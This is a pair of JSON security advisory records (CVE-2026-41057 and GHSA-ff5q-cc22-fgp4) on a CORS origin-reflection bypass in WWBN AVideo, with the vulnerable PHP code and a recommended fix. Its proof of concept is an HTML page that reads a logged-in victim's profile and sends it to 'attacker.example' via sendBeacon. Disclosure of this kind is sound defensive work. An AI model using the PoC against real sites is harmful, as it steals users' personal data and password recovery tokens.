{
  "affected": [
    {
      "affectedData": [
        {
          "product": "AVideo",
          "vendor": "WWBN",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c= 29.0"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:wwbn:avideo:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "AC38CA07-71C1-4C86-B84A-83CF96367CBA",
              "versionEndIncluding": "29.0",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "WWBN AVideo is an open source video platform. In versions 29.0 and below, the CORS origin validation fix in commit `986e64aad` is incomplete. Two separate code paths still reflect arbitrary `Origin` headers with credentials allowed for all `/api/*` endpoints: (1) `plugin/API/router.php` lines 4-8 unconditionally reflect any origin before application code runs, and (2) `allowOrigin(true)` called by `get.json.php` and `set.json.php` reflects any origin with `Access-Control-Allow-Credentials: true`. An attacker can make cross-origin credentialed requests to any API endpoint and read authenticated responses containing user PII, email, admin status, and session-sensitive data. Commit 5e2b897ccac61eb6daca2dee4a6be3c4c2d93e13 contains a fix."
    }
  ],
  "id": "CVE-2026-41057",
  "lastModified": "2026-06-17T10:46:06.047",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 7.1,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "LOW",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "REQUIRED",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 4.2,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-41057",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-04-22T18:02:08.060761Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-04-21T23:16:20.987",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Patch"
      ],
      "url": "https://github.com/WWBN/AVideo/commit/5e2b897ccac61eb6daca2dee4a6be3c4c2d93e13"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Mitigation",
        "Vendor Advisory"
      ],
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-ff5q-cc22-fgp4"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "tags": [
        "Exploit",
        "Mitigation",
        "Vendor Advisory"
      ],
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-ff5q-cc22-fgp4"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-346"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "wwbn/avideo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "29.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-41057"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-346"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-14T23:18:28Z",
    "nvd_published_at": "2026-04-21T23:16:20Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThe CORS origin validation fix in commit `986e64aad` is incomplete. Two separate code paths still reflect arbitrary `Origin` headers with credentials allowed for all `/api/*` endpoints: (1) `plugin/API/router.php` lines 4-8 unconditionally reflect any origin before application code runs, and (2) `allowOrigin(true)` called by `get.json.php` and `set.json.php` reflects any origin with `Access-Control-Allow-Credentials: true`. An attacker can make cross-origin credentialed requests to any API endpoint and read authenticated responses containing user PII, email, admin status, and session-sensitive data.\n\n## Details\n\n### Bypass Vector 1: router.php independent CORS handler\n\n`plugin/API/router.php:4-8` runs before any application code:\n\n```php\n// plugin/API/router.php lines 4-8\n$HTTP_ORIGIN = empty($_SERVER[\u0027HTTP_ORIGIN\u0027]) ? @$_SERVER[\u0027HTTP_REFERER\u0027] : $_SERVER[\u0027HTTP_ORIGIN\u0027];\nif (empty($HTTP_ORIGIN)) {\n    header(\u0027Access-Control-Allow-Origin: *\u0027);\n} else {\n    header(\"Access-Control-Allow-Origin: \" . $HTTP_ORIGIN);\n}\n```\n\nThis reflects **any** `Origin` header verbatim. For OPTIONS preflight requests (lines 14-18), the script exits immediately \u2014 the fixed `allowOrigin()` function never executes:\n\n```php\n// plugin/API/router.php lines 14-18\nif ($_SERVER[\u0027REQUEST_METHOD\u0027] === \u0027OPTIONS\u0027) {\n    header(\"Access-Control-Max-Age: 86400\");\n    http_response_code(200);\n    exit;\n}\n```\n\nAll `/api/*` requests are routed through this file via `.htaccess` rules (lines 131-132).\n\n### Bypass Vector 2: allowOrigin($allowAll=true)\n\nBoth `plugin/API/get.json.php:12` and `plugin/API/set.json.php:12` call `allowOrigin(true)`. In `objects/functions.php:2773-2790`, the `$allowAll=true` code path reflects any origin with credentials:\n\n```php\n// objects/functions.php lines 2773-2777\nif ($allowAll) {\n    $requestOrigin = $_SERVER[\u0027HTTP_ORIGIN\u0027] ?? \u0027\u0027;\n    if (!empty($requestOrigin)) {\n        header(\u0027Access-Control-Allow-Origin: \u0027 . $requestOrigin);\n        header(\u0027Access-Control-Allow-Credentials: true\u0027);\n    }\n```\n\nThis code path was **untouched** by commit `986e64aad`, which only hardened the default (`$allowAll=false`) path.\n\n### Impact on data exposure\n\nBecause the victim\u0027s session cookies are sent with credentialed cross-origin requests, `User::isLogged()` returns true and `User::getId()` returns the victim\u0027s user ID. This means:\n\n- **Video listing endpoint** (`get_api_video`): Sensitive user fields (email, isAdmin, etc.) are only stripped for unauthenticated requests (`functions.php:1752`), so authenticated CORS requests receive the full data.\n- **User profile endpoint** (`get_api_user`): When `$isViewingOwnProfile` is true (line 3039), all sensitive fields including email, admin status, recovery tokens, and PII are returned unstripped.\n\n### Additional issue: Referer header fallback\n\n`router.php` line 4 falls back to `HTTP_REFERER` when `HTTP_ORIGIN` is absent, injecting an attacker-controlled full URL (not just origin) into the `Access-Control-Allow-Origin` header. This is non-standard and could cause unexpected behavior.\n\n## PoC\n\n**Step 1:** Host the following HTML on an attacker-controlled domain:\n\n```html\n\u003chtml\u003e\n\u003cbody\u003e\n\u003ch1\u003eAVideo CORS PoC\u003c/h1\u003e\n\u003cscript\u003e\n// Exfiltrate victim\u0027s user profile (email, admin status, PII)\nfetch(\u0027https://target-avideo.example/api/user\u0027, {\n  credentials: \u0027include\u0027\n})\n.then(r =\u003e r.json())\n.then(data =\u003e {\n  document.getElementById(\u0027result\u0027).textContent = JSON.stringify(data, null, 2);\n  // Exfiltrate to attacker server\n  navigator.sendBeacon(\u0027https://attacker.example/collect\u0027, JSON.stringify(data));\n});\n\u003c/script\u003e\n\u003cpre id=\"result\"\u003eLoading...\u003c/pre\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\n**Step 2:** Victim visits attacker page while logged into AVideo.\n\n**Step 3:** The browser sends the request with victim\u0027s session cookies. `router.php` line 8 reflects the attacker\u0027s origin. `get.json.php` calls `allowOrigin(true)` which re-sets `Access-Control-Allow-Origin` to the attacker\u0027s origin with `Access-Control-Allow-Credentials: true`.\n\n**Step 4:** Browser permits cross-origin reading. Attacker receives the victim\u0027s full user profile including email, name, address, phone, admin status, and other PII.\n\n**For set endpoints (POST with custom headers requiring preflight):**\n\n```javascript\nfetch(\u0027https://target-avideo.example/api/SomeSetEndpoint\u0027, {\n  method: \u0027POST\u0027,\n  credentials: \u0027include\u0027,\n  headers: {\u0027Content-Type\u0027: \u0027application/json\u0027},\n  body: JSON.stringify({/* parameters */})\n});\n```\n\nThe preflight OPTIONS is handled by `router.php` lines 14-18, which reflect the origin and exit \u2014 the CORS fix in `allowOrigin()` never runs.\n\n## Impact\n\n- **Data theft**: Any third-party website can read authenticated API responses for any logged-in AVideo user. This includes user profile data (email, real name, address, phone, admin status), video listings with creator PII, and other session-specific data.\n- **Account information disclosure**: The user profile endpoint returns the full user record including `recoverPass` (password recovery token), `isAdmin` status, and all PII fields when accessed as the authenticated user.\n- **Action on behalf of user**: Write endpoints (`set.json.php`) are equally affected, allowing cross-origin state-changing requests (creating playlists, modifying content, etc.) with the victim\u0027s session.\n- **Bypass of intentional fix**: This directly circumvents the CORS hardening in commit `986e64aad`.\n\n## Recommended Fix\n\n**1. Remove the independent CORS handler from `router.php`** and let `allowOrigin()` handle all CORS logic consistently:\n\n```php\n// plugin/API/router.php - REMOVE lines 4-18, replace with:\n// CORS is handled by allowOrigin() in get.json.php / set.json.php\n// For OPTIONS preflight, we still need to handle it, but through allowOrigin():\nif ($_SERVER[\u0027REQUEST_METHOD\u0027] === \u0027OPTIONS\u0027) {\n    require_once __DIR__.\u0027/../../videos/configuration.php\u0027;\n    allowOrigin(false);  // Use the validated CORS handler\n    header(\"Access-Control-Max-Age: 86400\");\n    http_response_code(204);\n    exit;\n}\n```\n\n**2. Fix `allowOrigin($allowAll=true)` to validate origins** \u2014 or stop using it for API endpoints:\n\n```php\n// In get.json.php and set.json.php, change:\nallowOrigin(true);\n// To:\nallowOrigin(false);  // Use validated CORS for API endpoints\n```\n\nKeep `allowOrigin(true)` only for genuinely public endpoints that return no session-sensitive data (VAST/VMAP ad XML).\n\n**3. As defense-in-depth**, set `SameSite=Lax` on session cookies to prevent browsers from sending them on cross-origin requests by default.",
  "id": "GHSA-ff5q-cc22-fgp4",
  "modified": "2026-04-24T20:40:48Z",
  "published": "2026-04-14T23:18:28Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-ff5q-cc22-fgp4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41057"
    },
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/commit/5e2b897ccac61eb6daca2dee4a6be3c4c2d93e13"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/WWBN/AVideo"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "WWBN AVideo has a CORS Origin Reflection Bypass via plugin/API/router.php and allowOrigin(true) Exposes Authenticated API Responses"
}